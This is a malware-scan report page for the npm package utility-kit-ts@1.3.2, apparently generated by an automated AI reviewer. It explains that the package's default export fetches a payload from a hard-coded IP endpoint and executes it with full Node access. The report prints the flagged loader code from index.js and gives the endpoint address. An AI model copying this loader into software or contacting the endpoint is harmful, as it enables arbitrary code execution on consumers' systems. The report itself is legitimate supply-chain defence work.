Loading npm security reports…

utility-kit-ts@1.3.2: Malicious npm security report (Block) | LPM Firewall

registry / utility-kit-ts / 1.3.2

utility-kit-ts@1.3.2

TypeScript toolkit for reusable utilities.

AI Security Review

scanned 4h ago · by lpm-firewall-ai

A consumer calling the default export triggers a request to a hard-coded IP endpoint and executes server-supplied JavaScript. The endpoint controls code with Node process and module-loading capabilities.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Consumer invokes the package default export (getPlugin).

Impact

Remote operator can run arbitrary code in the consuming process context.

Mechanism

Remote payload fetch followed by Function-based execution.

Attack narrative

The exported getPlugin function fetches JSON from a hard-coded remote IP and compiles data.credits with Function. It supplies require, process, global, Buffer, and filesystem-relative context to that untrusted payload, allowing the endpoint operator to execute arbitrary Node.js code whenever a consumer calls the export.

Rationale

The advertised utility package contains an undocumented remote code loader whose payload is controlled by a hard-coded external endpoint. Although it is not install-time execution, this is a concrete remote-code-execution capability inconsistent with the package purpose.

Evidence

package.jsonindex.jsREADME.md

Network endpoints1

31.97.137.157:45000/icons/109

Decision evidence

public snapshot

Source & flagged code

2 flagged

index.jsView file

Lines 129-169javascript

129 // Create a context with require and other Node.js globals available

130 const evalContext = {

131 require: require,

132 module: { exports: {} },

133 exports: {},

134 __dirname: process.cwd(),

135 __filename: import.meta.url,

136 console: console,

137 process: process,

138 global: globalThis,

139 Buffer: typeof Buffer !== 'undefined' ? Buffer : undefined,

140 setTimeout: setTimeout,

141 setInterval: setInterval,

142 clearTimeout: clearTimeout,

143 clearInterval: clearInterval,

144 Promise: Promise,

145 async: async function(fn) { return fn; }

146 };

147

148 // Use Function constructor to create an eval with the context

149 // Note: The code uses async/await, so we need to handle that

150 const evalFn = new Function(

151 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L149

152 data.credits

153 );

154

155 // Execute the code

156 const result = evalFn(

157 evalContext.require,

158 evalContext.module,

159 evalContext.exports,

160 evalContext.__dirname,

161 evalContext.__filename,

162 evalContext.console,

163 evalContext.process,

164 evalContext.global,

165 evalContext.Buffer,

166 evalContext.setTimeout,

167 evalContext.setInterval,

168 evalContext.clearTimeout,

169 evalContext.clearInterval,

•matchType = malicious_source_fingerprint_signature signature = c06bd55d669269cb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = crypto-checkout-api@1.0.0 matchedPath = index.js matchedIdentity = npm:Y3J5cHRvLWNoZWNrb3V0LWFwaQ:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg